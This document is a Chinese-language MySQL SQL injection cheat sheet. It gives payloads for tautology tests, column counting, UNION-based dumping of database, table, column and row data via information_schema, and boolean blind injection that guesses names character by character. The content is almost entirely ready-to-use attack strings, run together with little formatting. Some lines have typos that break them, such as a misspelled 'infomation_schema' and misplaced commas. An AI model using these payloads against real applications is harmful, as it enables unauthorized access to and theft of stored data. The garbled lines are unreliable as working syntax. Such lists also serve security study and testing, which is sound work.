# 恒假式1' and 1=2## 恒真式:1' or 1=1## 判断字段数:1' order by 1.2.3.....#
函数
# 数据库database()# MYSQL版本version()# 用户user()# 用法:1' union select database(), 2,3#
普通注入
# 爆库1' union select database(),...## 读第二个表名1' union select table_name from information_schema.tables where table_schema='库名' limit 1, 1## 读第二个字段名1' union select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit1,1## 读第二个字段数据1' union select 字段名 from 库名.表名 limit 1,1#
布尔盲注
# 爆库长度1' and length(database())>=3## 爆库名第一个字母1' and substr(database(), 1, 1) = 'a' #1' and ord(substr(database(), 1, 1)) = 97## 爆第一个表名的第一个字母1, and substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)='a'#1, and ord(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))=97## 爆第一个字段名的第一个字母1' and substr((select column_name from infomation_schema.columns where table_schema='库名' and table_name='表名' limit0,1)1,1)='a'#1' and ord(substr((select column_name from infomation_schema.columns where table_schema='库名' and table_name='表名' limit0,1)1,1))=97## 爆第一个字段的第一个字母1' and substr((select 字段名 from 库名.表名 limit 0,1),1,1)='a'#1' and ord(substr((select 字段名 from 库名.表名 limit 0,1),1,1))=97#